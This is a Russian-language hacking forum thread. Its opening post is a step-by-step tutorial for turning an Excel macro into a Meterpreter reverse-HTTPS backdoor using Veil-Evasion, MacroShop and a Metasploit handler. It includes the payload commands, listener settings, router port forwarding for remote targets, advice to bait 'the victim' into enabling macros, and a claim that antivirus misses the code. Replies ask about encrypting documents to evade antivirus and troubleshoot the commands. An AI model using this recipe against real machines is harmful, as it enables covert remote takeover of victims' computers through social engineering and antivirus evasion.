Penetration Testing with Microsoft Office

Vander

Vander

CodebyTeam
Gold Team
16.01.2016
1 457
4 344
Всем привет! В этой статье я покажу, как можно получить доступ к удаленному компьютеру, используя Veil Evasion и Microsoft Excel. А точнее одно свойство Excel – поддержка макросов.

Макрос - это программа, которая содержит набор инструкций выполняющих какие либо действия, как автоматически, так и по требованию пользователя, т.е. выполняются явно и неявно. Широкое распространение, данное понятие получило благодаря корпорации Microsoft, которая реализовала возможность написания макросов в своих продуктах, а именно Office (Word, Excel, Access и т.д.). Используемый язык в макросах - Visual Basic, так же продукт Microsoft, но с некоторыми ограничениями. Макрокоманды, способны автоматизировать большинство процессов и значительно сократить время на обработку данных.

Способ получения Veil Evasion описан тут - https://codeby.net/threads/vzlom-udalennogo-pk-veil-evasion-metasploit.57819/

Запускаем Veil Evasion:

> ./Veil-Evasion.py

Вводим команду:

list (покажет список доступных пайлоадов)

upload_2016-10-13_21-56-23.png


Мы будем использовать пайлоад с ID 23. Вводим:

> use powershell/meterpreter/rev_https

или

> use 23

Обратный протокол HTTPS, здесь будет успешно использован, в случае если файрвол у жертвы настроен таким образом, чтобы пропускать трафик по TCP. В большинстве случаев, на компьютере HTTPS не заблокирован.

Настроим Veil для нашего случая, пишем:

> set LHOST 172.16.0.199

Тут я немного прервусь, для объяснений, т.к. вопросы уже были.

Так как, я нахожусь с атакуемым компьютером в одной подсети, мы подключены к одному роутеру, то в поле LHOST я вписываю свой локальный адрес.

upload_2016-10-13_21-57-30.png


Именно на него «постучится» цель, после того как на нем сработает полезная нагрузка. Чтобы таким же образом подключится к компьютеру находящемуся в другой сети, вообще в другом городе/стране, необходимо сделать иначе. Для удобства лучше иметь статический (белый) IP адрес. К примеру, у вас роутер, вашей машине, с которой вы атакуете, был присвоен локальный адрес из диапазона 192.168.0.ХХХ. Но, в интернет вы выходите из под своего внешнего адреса, который присвоил вашему роутеру провайдер. Ваш компьютер, с которого вы проводите проникновение, находится за NAT роутера.

upload_2016-10-13_21-58-20.png


Допустим этот адрес 82.198.34.88, для того, чтобы целевой компьютер постучался на него мы в поле LHOST его и укажем. В опциях так же есть поле LPORT:

upload_2016-10-13_21-59-0.png


Именно на этот LHOST и LPORT, будет пытаться подсоединиться цель. Затем необходимо указать роутеру, чтобы все пакеты, адресованные 8443 порту, он направлял нашей машине с Kali, у которой адрес 192.168.0.ХХХ. Для этого добавляем такое правило:

upload_2016-10-13_21-59-48.png


Теперь все пакеты, которые предназначаются 443 (у меня так) порту, получит моя Kali c локальным адресом 192.168.0.101. Идем далее.

> generate

upload_2016-10-13_22-0-20.png


Вводим имя:

upload_2016-10-13_22-0-37.png


Veil-Evasion сгенерировала нам файл win8.1.bat в директории - /usr/share/veil-output/source/

upload_2016-10-13_22-1-5.png


Теперь откроем новое окно терминала и установим MacroShop. MacroShop представляет собой набор скриптов, помогающих в работе с пайлоадами, через Office Macros. Большинство из них, написаны на Python. Для его установки вводим:

> git clone

upload_2016-10-13_22-1-42.png


После установки, переместим файл win8.1 в директорию MacroShop.

upload_2016-10-13_22-2-12.png


Теперь, в терминале перейдем в директорию MacroShop, и пишем:

> python macro_safe.py windus.bat file.txt (windus.bat – потому, что я его пересоздал)

upload_2016-10-13_22-2-48.png


После того, как процесс успешно завершился, откроем новый файл Excel (у себя) и проделаем следующее:

upload_2016-10-13_22-3-16.png


Пишем имя макроса и создаем его. В открывшееся поле для редактирования, копируем код, который мы получили в файле – file.txt, затем сохраним макрос.

upload_2016-10-13_22-3-42.png


Копируем код полностью, заменяя строки которые были в начале макроса, это важно!

Сохраняем в формате, как на скриншоте:

upload_2016-10-13_22-4-11.png


В самом документе пишем все, что угодно, нам нужно заинтересовать цель в открытии документа и включения макроса.

upload_2016-10-13_22-4-33.png


Теперь, когда файл оказался на целевом компьютере, у себя в терминале откроем msfconsole

upload_2016-10-13_22-4-57.png


и введем следующие команды:

> use multi/handler

> set payload/windows/meterpreter/reverse_https

> set LHOST 192.168.0.XXX

> set LPORT XXX (ваш порт)

> exploit

Когда на целевом хосте буде открыт дынный файл и выполнится макрос, у вас откроется сессия meterpreter, как и было обещано.

upload_2016-10-13_22-6-46.png


Дальше дело техники. Спасибо за внимание.

P.S. Антивирусы не определяют данный код как вредоносный.
 
z3RoTooL

z3RoTooL

Well-known member
28.02.2016
716
695
главное, чтоб кроме нас ещё кто-то смотрел эти темы ))) а то никто не комментирует, молча заходят и всё.
 
kot-gor

kot-gor

Grey Team
07.09.2016
525
689
Хорошая статья...с этой тематики есть еще прога Magic unicorn Attack Vector. Мне даже кажется что она гораздо проще.Есть только одно но,с данным вектором атаки.Если забрасывать файл жертве через почту..то сейчас многие почтовые сервера выявляют макросы встроенные в (word,Excel, итд ) и не пропускают данные файлы, хотя эту защиту легко обходить. Ну и не следует забывать что бы вектор атаки был успешен, у жертвы должна быть включена опция отображать макросы.
 
I

Inject0r

главное, чтоб кроме нас ещё кто-то смотрел эти темы ))) а то никто не комментирует, молча заходят и всё.
Я смотрю. И на твой паблик подписался. И на ютуб ) По статистике обычно 60-80% людей - пассивные наблюдатели, тема им интересна, читают, но ничего не пишут, это нормально :)

Кстати, почему после установки Veil Кали начинает глючить, после перезагрузки ввожу логин и пароль рабочие, но система не загружает рабочий стол, а заново выкидывает на экран с вводом логина. С проблемой месяца 2 назад столкнулся. Проблему решил только с помощбю снапшотов. Сохранил снапшот с установленным veil на виртуалке, а после работы откатываюсь к рабочему состоянию машины. Напрягает такая схема если честно.
 
z3RoTooL

z3RoTooL

Well-known member
28.02.2016
716
695
Я смотрю. И на твой паблик подписался. И на ютуб ) По статистике обычно 60-80% людей - пассивные наблюдатели, тема им интересна, читают, но ничего не пишут, это нормально :)

Кстати, почему после установки Veil Кали начинает глючить, после перезагрузки ввожу логин и пароль рабочие, но система не загружает рабочий стол, а заново выкидывает на экран с вводом логина. С проблемой месяца 2 назад столкнулся. Проблему решил только с помощбю снапшотов. Сохранил снапшот с установленным veil на виртуалке, а после работы откатываюсь к рабочему состоянию машины. Напрягает такая схема если честно.
о_О
У меня такого не было ни разу
 
Vander

Vander

CodebyTeam
Gold Team
16.01.2016
1 457
4 344
Я смотрю. И на твой паблик подписался. И на ютуб ) По статистике обычно 60-80% людей - пассивные наблюдатели, тема им интересна, читают, но ничего не пишут, это нормально :)

Кстати, почему после установки Veil Кали начинает глючить, после перезагрузки ввожу логин и пароль рабочие, но система не загружает рабочий стол, а заново выкидывает на экран с вводом логина. С проблемой месяца 2 назад столкнулся. Проблему решил только с помощбю снапшотов. Сохранил снапшот с установленным veil на виртуалке, а после работы откатываюсь к рабочему состоянию машины. Напрягает такая схема если честно.
Никогда не сталкивался, вчера по новой ставил, все ок на 2016.2
 
M

MAdDog719

У меня банальный защитник виндовс, при сохранении файла с макросом, определяет его как вредонос, и тут же убивает. Думаю на компе жертвы будет также.

Ставлю виртуалку Win XP поэксперементирую)))
 
diod_

diod_

Active member
08.09.2016
39
59
Можно ли сделать энкрипт в несколько проходов готового файла xml. или doc. для обхода антивирусников в Veil evasion? если нет то может что,посоветуешь может есть какие скрипты на github именно для текстовых файлов, а не exe. Shellter
шифрует exe. файлы можно в один файл залить несколько payloads и антивирь дохнет, а нужно именно для текстовых файлов. <Thanks>
 
M

MAdDog719

я только учусь подскажите что не так
Код:
root@kali:~/MacroShop# python macro_safe.py windus.bat file.txt
Traceback (most recent call last):
  File "macro_safe.py", line 40, in <module>
    f = open(fname)
IOError: [Errno 2] No such file or directory: 'windus.bat'
Файлик windus.bat найти не может. Ты походу его не переместил в папку с программой, ну или имя файлу дал другое.
 
Vander

Vander

CodebyTeam
Gold Team
16.01.2016
1 457
4 344
У меня банальный защитник виндовс, при сохранении файла с макросом, определяет его как вредонос, и тут же убивает. Думаю на компе жертвы будет также.

Ставлю виртуалку Win XP поэксперементирую)))
Привет! Я на Win8.1 с защитником тестил, не определялся как вредонос...
 
diod_

diod_

Active member
08.09.2016
39
59
Всем привет! В этой статье я покажу, как можно получить доступ к удаленному компьютеру, используя Veil Evasion и Microsoft Excel. А точнее одно свойство Excel – поддержка макросов.

Макрос - это программа, которая содержит набор инструкций выполняющих какие либо действия, как автоматически, так и по требованию пользователя, т.е. выполняются явно и неявно. Широкое распространение, данное понятие получило благодаря корпорации Microsoft, которая реализовала возможность написания макросов в своих продуктах, а именно Office (Word, Excel, Access и т.д.). Используемый язык в макросах - Visual Basic, так же продукт Microsoft, но с некоторыми ограничениями. Макрокоманды, способны автоматизировать большинство процессов и значительно сократить время на обработку данных.

Способ получения Veil Evasion описан тут - https://codeby.net/threads/vzlom-udalennogo-pk-veil-evasion-metasploit.57819/

Запускаем Veil Evasion:

> ./Veil-Evasion.py

Вводим команду:

list (покажет список доступных пайлоадов)

Посмотреть вложение 7147

Мы будем использовать пайлоад с ID 23. Вводим:

> use powershell/meterpreter/rev_https

или

> use 23

Обратный протокол HTTPS, здесь будет успешно использован, в случае если файрвол у жертвы настроен таким образом, чтобы пропускать трафик по TCP. В большинстве случаев, на компьютере HTTPS не заблокирован.

Настроим Veil для нашего случая, пишем:

> set LHOST 172.16.0.199

Тут я немного прервусь, для объяснений, т.к. вопросы уже были.

Так как, я нахожусь с атакуемым компьютером в одной подсети, мы подключены к одному роутеру, то в поле LHOST я вписываю свой локальный адрес.

Посмотреть вложение 7148

Именно на него «постучится» цель, после того как на нем сработает полезная нагрузка. Чтобы таким же образом подключится к компьютеру находящемуся в другой сети, вообще в другом городе/стране, необходимо сделать иначе. Для удобства лучше иметь статический (белый) IP адрес. К примеру, у вас роутер, вашей машине, с которой вы атакуете, был присвоен локальный адрес из диапазона 192.168.0.ХХХ. Но, в интернет вы выходите из под своего внешнего адреса, который присвоил вашему роутеру провайдер. Ваш компьютер, с которого вы проводите проникновение, находится за NAT роутера.

Посмотреть вложение 7149

Допустим этот адрес 82.198.34.88, для того, чтобы целевой компьютер постучался на него мы в поле LHOST его и укажем. В опциях так же есть поле LPORT:

Посмотреть вложение 7150

Именно на этот LHOST и LPORT, будет пытаться подсоединиться цель. Затем необходимо указать роутеру, чтобы все пакеты, адресованные 8443 порту, он направлял нашей машине с Kali, у которой адрес 192.168.0.ХХХ. Для этого добавляем такое правило:

Посмотреть вложение 7151

Теперь все пакеты, которые предназначаются 443 (у меня так) порту, получит моя Kali c локальным адресом 192.168.0.101. Идем далее.

> generate

Посмотреть вложение 7152

Вводим имя:

Посмотреть вложение 7153

Veil-Evasion сгенерировала нам файл win8.1.bat в директории - /usr/share/veil-output/source/

Посмотреть вложение 7154

Теперь откроем новое окно терминала и установим MacroShop. MacroShop представляет собой набор скриптов, помогающих в работе с пайлоадами, через Office Macros. Большинство из них, написаны на Python. Для его установки вводим:

> git clone

Посмотреть вложение 7155

После установки, переместим файл win8.1 в директорию MacroShop.

Посмотреть вложение 7156

Теперь, в терминале перейдем в директорию MacroShop, и пишем:

> python macro_safe.py windus.bat file.txt (windus.bat – потому, что я его пересоздал)

Посмотреть вложение 7157

После того, как процесс успешно завершился, откроем новый файл Excel (у себя) и проделаем следующее:

Посмотреть вложение 7158

Пишем имя макроса и создаем его. В открывшееся поле для редактирования, копируем код, который мы получили в файле – file.txt, затем сохраним макрос.

Посмотреть вложение 7159

Копируем код полностью, заменяя строки которые были в начале макроса, это важно!

Сохраняем в формате, как на скриншоте:

Посмотреть вложение 7160

В самом документе пишем все, что угодно, нам нужно заинтересовать цель в открытии документа и включения макроса.

Посмотреть вложение 7161

Теперь, когда файл оказался на целевом компьютере, у себя в терминале откроем msfconsole

Посмотреть вложение 7162


и введем следующие команды:

> use multi/handler

> set payload/windows/meterpreter/reverse_https

> set LHOST 192.168.0.XXX

> set LPORT XXX (ваш порт)

> exploit

Когда на целевом хосте буде открыт дынный файл и выполнится макрос, у вас откроется сессия meterpreter, как и было обещано.

Посмотреть вложение 7163

Дальше дело техники. Спасибо за внимание.

P.S. Антивирусы не определяют данный код как вредоносный.

Можно ли сделать энкрипт в несколько проходов готового файла xml. или doc. для обхода антивирусников в Veil evasion? если нет то может что,посоветуешь может есть какие скрипты на github именно для текстовых файлов, а не exe. Shellter
шифрует exe. файлы можно в один файл залить несколько payloads и антивирь дохнет, а нужно именно для текстовых файлов. <Thanks
 
M

MAdDog719

в msfconsole пише:
msf exploit(handler) > set payload/windows/meterpreter/reverse_https
[-] Unknown variable
Usage: set [option] [value]

Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore
не подскажете что не так

Пробуй так: set payload windows/meterpreter/reverse_https
 
M

MAdDog719

Добрый день, Vander.
Подскажите пожалуйста, в Veli у вас LPORT указан 8443, а на роутере переадресация прописана на 443 порт. Или вы при создании payload, изменили порт на 443?
 
Мы в соцсетях: